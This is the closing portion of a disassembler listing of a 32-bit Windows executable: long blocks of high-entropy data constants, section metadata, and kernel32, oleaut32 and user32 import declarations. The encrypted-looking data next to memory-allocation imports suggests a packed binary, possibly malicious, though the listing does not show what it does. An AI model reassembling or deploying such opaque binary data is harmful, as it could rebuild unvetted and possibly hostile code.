76C13AA7h dd 7707128Fh, 0F7D643E2h, 171315A6h, 71BD1F3Dh, 0D73B3297h dd 6C087407h, 6183131Bh, 5F299A11h, 3810912Ch, 5F636A2Eh dd 9558702Fh, 0C64CC2DEh, 0BF1CFB76h, 3BF5FD9Dh, 737CD7A3h dd 0C293399Fh, 0CCE9C3D1h, 0D492FC7Dh, 1A142A38h, 16A4D182h dd 0AF52E1DAh, 55995265h, 0F9BEE6F1h, 0F955117Ch, 40CC3164h dd 1FA16774h, 4A85521Eh, 0C1B015AEh, 0E3DB187Ch, 20617513h dd 0B10571A4h, 0BA177D8Eh, 711F5D4Eh, 89B37B65h, 85F601ACh dd 0F2CFA91Ah, 0D5E75DE5h, 8F60FFE1h, 946C1801h, 8891A6EBh dd 0DB68A62Ch, 414E3C2Ch, 609C9DC8h, 0D5C085C3h, 19E05047h dd 0ED1CC2E2h, 4EF6299Eh, 72418E58h, 0FCB66F2Eh, 0AC28016Ch dd 0BD15862Fh, 6B4890D9h, 36E3A715h, 711E228Ch, 35BB5712h dd 0B52A1DBCh, 34C39DA3h dd 5EEFCA46h, 80B004A2h, 0C12DB234h, 4073E71Eh, 0D8176557h dd 1CCFD7F8h, 487CBDA9h, 6391CFAh, 0AE794F93h, 0E31CBAFBh dd 0F3CB0FA0h, 0FBA2E773h, 0B22B26AAh, 134F0018h, 0BC6A6530h dd 2CA541Eh, 0FEF3CDD8h, 451DAB50h, 0E77DB7B0h, 171CA16Fh dd 0CC72D10h, 0D4945202h, 7168EC67h, 0A93E8720h, 0B2EEDE7Ch dd 4045B368h, 0B416C5E6h, 0C220DF70h, 7B20D5BDh, 4804E3E3h dd 94D1FEC0h, 700F5092h, 96518A4Fh, 0C339D071h, 5271E221h dd 0C870121Ah, 50956E5Ah, 0EE30B824h, 5882C899h, 224A94Bh dd 0AC387B51h, 0E4A5551Ah, 5D05ADA8h, 4406378Bh, 0CDDE0F59h dd 26B05A9h, 2F11A9D6h, 4C106079h, 59FF9334h, 69B94690h dd 1B47144Dh, 3AD07048h, 5BE0F158h, 0FDD17E0Ah, 69D9ECD4h dd 2AADB4E7h, 6714EF47h, 9F838D4Ch, 63635140h, 0E6CB83D8h dd 8699EFB7h, 69AF1D19h, 2B55ADB7h, 8B6DD6FDh, 1C0BDABAh dd 52659879h, 86CE7D64h, 0C590EA6Ch, 0CFE22D6Ch, 3F94E630h dd 239F19FCh, 0DB3B6C22h, 0A30392F9h, 9C0B21F3h, 0BC4175DEh dd 4CD665D6h, 4206EE2Dh, 25F5894Bh, 0F10724D3h, 0C5E7EB84h dd 5FE2B2D5h, 0F97E3899h, 1744BAA2h, 0A7155C1Dh, 3425ACA6h dd 17B39CDh, 0DED977D4h, 0FB788DB5h, 0D655ACDFh, 0F727C5E7h dd 1EA05D8Eh, 57C7BD18h, 24h dup(0) align 800h _data ends ; Section 3. (virtual address 00011000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000400 ( 1024.) ; Offset to raw data for section: 0000D800 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 411000h dd 7B58600h, 0BA01F5A9h, 0B6CD32C7h, 0B827E5B2h, 1C041128h dd 2641BE0h, 0A9AD9158h, 0A231BA20h, 948B1708h, 4799D75Ch dd 0B5C6D415h, 525081A5h, 0DF335457h, 1A17BF44h, 2416CBF8h dd 3E5DFA2h, 46BA68BDh, 7D60370Dh, 4A029591h, 0DED0D702h dd 0A8ECFD56h, 88E46D5Ah, 742F77BFh, 0CB912FDBh, 3138142Ch dd 6075805Dh, 18265DE2h, 0FB58F6F1h, 1B236635h, 5F5A91EFh dd 0D3AD0C16h, 41F3EE41h, 0F7A6A166h, 0F151A2C5h, 42341598h dd 0B2E1FE22h, 0DDC98EACh, 0EBB1C85Dh, 0C4BFCE16h, 223CC734h dd 882AA28Bh, 832CD80Bh, 90B7C023h, 8D7DEE53h, 684E0D44h dd 9F074F09h, 0A3524504h, 502D510Eh, 0E2392AEDh, 0C3ACCE1Ah dd 352DB975h, 0CA0D9E15h, 8BD21F24h, 4EA236Ah, 0DCDC6EE0h dd 0C1A67564h, 45C9BD1Bh, 0CD51E907h, 2D6AE2E9h, 406F22A5h dd 0A423B16h, 0F9F20733h, 0B9D20B27h, 872B1C42h, 8BC60F62h dd 0B08BED67h, 997EABD7h, 529BDFD0h, 43D0E40Dh, 0A1A6E287h dd 0C2E0AD88h, 0EF174598h, 466F692Ch, 4EEAD41h, 0A7326C9Ch dd 38F699EAh, 9C8F2FD8h, 4F36BD6Dh, 0CD8FFD37h, 0BB7BEF20h dd 0A41349A9h, 15512D7Ch, 72C3EC9Bh, 1C7157BCh, 7BFEE25Fh dd 0DDE91F23h, 65548AF9h, 856B079Dh, 1F515181h, 0F0A1294Ah dd 0CBC10064h, 0F8C02BF9h, 3AAF6AA2h, 0A9E5DF0Fh, 0A04F6CB6h dd 0A8159D65h, 126BACD3h, 0B66361Eh, 4C353F8Dh, 0D9A5353Ch dd 0EE8576C9h, 6CB22AABh, 14EDB75Fh, 36AF5BC8h, 0BFA365C0h dd 0AE546014h, 0EEFD9201h, 0B77556C8h, 7D1AA5EDh, 0ACEBFECEh dd 0E19BB752h, 9179C23Ah, 5860E55Ah, 61CFBACFh, 87C73CBBh dd 7B6C1603h, 23C44361h, 33A82EF5h, 85361119h, 0D6B6418Bh dd 89593DDCh, 0F0BF8D63h, 27F41DA3h, 1129998Dh, 55676DB4h dd 0B0644B1Eh, 12032F74h, 0A5691944h, 0DFB8038Bh, 38630347h dd 0A91A59A7h, 0A38B68DEh, 0B366BD4Fh, 167AB936h, 27F4FC8Bh dd 88380F72h, 0FF8AF729h, 0C0E7EF8Dh, 0FFA61C22h, 62699031h dd 19B1048Dh, 32AEB5C8h, 0B8270B78h, 3C054CA9h, 0AA17CA16h dd 0A64F02FFh, 4C9D313Eh, 0AE8CB46Eh, 70AAE29Ah, 94582F38h dd 0A39E2466h, 96A916F5h, 0E62858C5h, 0FD06DF23h, 6D70F10Ch dd 0C73B459h, 0BEE4BC74h, 2E0EA117h, 1849184Fh, 1A6DB117h dd 55A44975h, 26BD359Dh, 0AABC8930h, 0E9EC3B11h, 0EE36244Bh dd 0C9C4AC93h, 1B2DCA82h, 0F098A12Ch, 7093ABCAh, 447BF6B3h dd 907DC57Dh, 60BEF3Fh, 857C38EDh, 3E813DDFh, 4B0E3CAEh dd 0AA35A544h, 0A6A0613Ch, 2FD676F0h, 2B309237h, 0BFFE13Dh dd 10A463AEh, 361E36A8h, 7D16B3C1h, 882D28E7h, 56C5557Bh dd 9EAE5D5Fh, 9D79887Dh, 20F41775h, 59D5B0CAh, 0CCC2DFEDh dd 5E8AE564h, 0E5C00C7Dh, 89D60B32h, 652E8DF1h, 8E466D09h dd 0ECBE222Ch, 540A0752h, 86F81E9Ch, 0FDCFE9C8h, 69AFB103h dd 0B8AB0116h, 299853B2h, 0BDE23A28h, 0C0723F40h, 0BB8C35DEh dd 91C66CCh, 0FF303F91h, 9B536CEEh, 0AD41D803h, 38E3CB70h dd 8A0B83C9h, 311854CCh, 5C5BF72Ah, 0E0B4EEFDh, 0B91C864Eh dd 6A23B1E1h, 207A19D5h, 663060FAh, 96433294h, 2649F6DAh dd 0C4C57664h, 690FC98Ah, 0FAA99471h, 4EDD16E6h, 2E11B3Dh dd 0E9811D5Ch, 319DE550h, 0DD83B7D4h, 1D156C65h, 0F42D9DBEh dd 49E83489h, 0FE660DB6h, 87708D93h, 0A4209C01h, 0F2391515h dd 293120D7h, 14EB80D9h, 302059B6h, 685E11FDh, 2254F586h dd 0D6245024h, 35D28AE6h, 0DD825B59h, 9B618D43h, 0A044ED98h dd 0E0313h, 0Ah dup(0) align 1000h _rdata ends ; Section 4. (virtual address 00012000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000800 ( 2048.) ; Offset to raw data for section: 0000DC00 ; Flags 40000040: Data Readable ; Alignment : default ; ; Imports from kernel32.dll ; ; =========================================================================== ; Segment type: Externs ; _idata ; BOOL __stdcall UnmapViewOfFile(LPCVOID lpBaseAddress) extrn UnmapViewOfFile:dword ; int __stdcall lstrlenA(LPCSTR lpString) extrn lstrlenA:dword ; LPSTR __stdcall lstrcpynA(LPSTR lpString1, LPCSTR lpString2, int iMaxLength) extrn lstrcpynA:dword ; LPSTR __stdcall lstrcpyA(LPSTR lpString1, LPCSTR lpString2) extrn lstrcpyA:dword ; int __stdcall lstrcmpA(LPCSTR lpString1, LPCSTR lpString2) extrn lstrcmpA:dword ; LPSTR __stdcall lstrcatA(LPSTR lpString1, LPCSTR lpString2) extrn lstrcatA:dword ; BOOL __stdcall CloseHandle(HANDLE hObject) extrn CloseHandle:dword ; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn EnterCriticalSection:dword ; BOOL __stdcall EnumResourceLanguagesA(HMODULE hModule, LPCSTR lpType, LPCSTR lpName, ENUMRESLANGPROCA lpEnumFunc, LONG_PTR lParam) extrn EnumResourceLanguagesA:dword ; BOOL __stdcall EnumResourceLanguagesW(HMODULE hModule, LPCWSTR lpType, LPCWSTR lpName, ENUMRESLANGPROCW lpEnumFunc, LONG_PTR lParam) extrn EnumResourceLanguagesW:dword ; void __stdcall ExitProcess(UINT uExitCode) extrn ExitProcess:dword ; BOOL __stdcall FreeResource(HGLOBAL hResData) extrn FreeResource:dword ; DWORD __stdcall GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh) extrn GetFileSize:dword ; void __stdcall GetStartupInfoA(LPSTARTUPINFOA lpStartupInfo) extrn GetStartupInfoA:dword ; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA lpVersionInformation) extrn GetVersionExA:dword ; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn LeaveCriticalSection:dword ; void __stdcall RaiseException(DWORD dwExceptionCode, DWORD dwExceptionFlags, DWORD nNumberOfArguments, const ULONG_PTR *lpArguments) extrn RaiseException:dword extrn RtlUnwind:dword ; BOOL __stdcall SetCurrentDirectoryA(LPCSTR lpPathName) extrn SetCurrentDirectoryA:dword ; DWORD __stdcall SleepEx(DWORD dwMilliseconds, BOOL bAlertable) extrn SleepEx:dword ; BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped) extrn WriteFile:dword ; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) extrn VirtualAlloc:dword ; BOOL __stdcall VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) extrn VirtualFree:dword ; ; Imports from oleaut32.dll ; ; HRESULT __stdcall RevokeActiveObject(DWORD dwRegister, void *pvReserved) extrn RevokeActiveObject:dword ; INT __stdcall SysReAllocString(BSTR *pbstr, const OLECHAR *psz) extrn SysReAllocString:dword ; HRESULT __stdcall VarBstrCat(BSTR bstrLeft, BSTR bstrRight, LPBSTR pbstrResult) extrn VarBstrCat:dword ; HRESULT __stdcall VarBstrCmp(BSTR bstrLeft, BSTR bstrRight, LCID lcid, ULONG dwFlags) extrn VarBstrCmp:dword ; HRESULT __stdcall RegisterTypeLib(ITypeLib *ptlib, LPCOLESTR szFullPath, LPCOLESTR szHelpDir) extrn RegisterTypeLib:dword ; HRESULT __stdcall GetErrorInfo(ULONG dwReserved, IErrorInfo **pperrinfo) extrn GetErrorInfo:dword ; HCURSOR __stdcall OleIconToCursor(HINSTANCE hinstExe, HICON hIcon) extrn OleIconToCursor:dword ; HRESULT __stdcall OleLoadPicture(LPSTREAM lpstream, LONG lSize, BOOL fRunmode, const IID *const riid, LPVOID *lplpvObj) extrn OleLoadPicture:dword ; HRESULT __stdcall OleLoadPicturePath(LPOLESTR szURLorPath, LPUNKNOWN punkCaller, DWORD dwReserved, OLE_COLOR clrReserved, const IID *const riid, LPVOID *ppvRet) extrn OleLoadPicturePath:dword ; HRESULT __stdcall OleTranslateColor(OLE_COLOR clr, HPALETTE hpal, COLORREF *lpcolorref) extrn OleTranslateColor:dword ; ; Imports from user32.dll ; ; BOOL __stdcall MessageBeep(UINT uType) extrn MessageBeep:dword ; int __stdcall FillRect(HDC hDC, const RECT *lprc, HBRUSH hbr) extrn FillRect:dword ; BOOL __stdcall EndDeferWindowPos(HDWP hWinPosInfo) extrn EndDeferWindowPos:dword ; BOOL __stdcall EnableScrollBar(HWND hWnd, UINT wSBflags, UINT wArrows) extrn EnableScrollBar:dword ; BOOL __stdcall DestroyMenu(HMENU hMenu) extrn DestroyMenu:dword end start